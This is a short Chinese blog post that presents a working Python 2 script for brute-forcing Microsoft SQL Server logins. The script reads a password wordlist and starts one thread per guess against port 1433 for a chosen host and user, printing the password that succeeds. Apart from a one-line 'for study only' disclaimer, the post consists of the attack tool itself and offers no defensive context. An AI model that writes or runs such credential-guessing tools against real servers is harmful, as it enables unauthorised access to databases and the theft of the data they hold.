博客主页 🐟
Python------mssql爆破

Author:

©

Wordage:

共计 1136 字

needs:

约 1 分钟

Popular:

215 ℃

Created:

目 录

下面代码仅供学习参考,禁止用于其他非法途径

import pymssql
from optparse import OptionParser
from threading import *


Found =0

def mssqlconn(hostname,username,password):
    global Found
    try:
        pymssql.connect(hostname+':1433',user=username,password=password)
        print'[+] yes pass = '+ password
    except:
        print '[-]Testing: ' + password
        pass
        
def main():
    parser = OptionParser('-U-H-P')
    parser.add_option("-U", "--user", dest="username",help="-U set user ")
    parser.add_option("-H", "--host", dest="hostname",help="-H host name")
    parser.add_option("-P", "--pass", dest="passtxt",help="-P password")
    (options, args) = parser.parse_args()
    print 'asd'
    if options.username is None or options.passtxt is None or options.hostname is None:
        print parser.usage
        exit(0)
    username = options.username
    passtxt = options.passtxt
    hostname = options.hostname
    print username,passtxt,hostname
    passt = open(passtxt,'r')
    for passs in passt.readlines():
        a = Thread(target=mssqlconn,args=(hostname,username,passs.strip('\n')))
        a.start()
if __name__ == '__main__':
    main()
文章二维码
Python------mssql爆破
共计 0 条评论,点此发表评论
博客主页 哀.net OωO
萌ICP备20238808号 本站已运行 1 年 209 天 2 小时 30 分 Copyright © 2023 ~ 2024. 哀.net All rights reserved.
打赏图
打赏博主
欢迎
搜 索
足 迹
分 类
  • 默认分类
  • 语言分类
  • 其他分类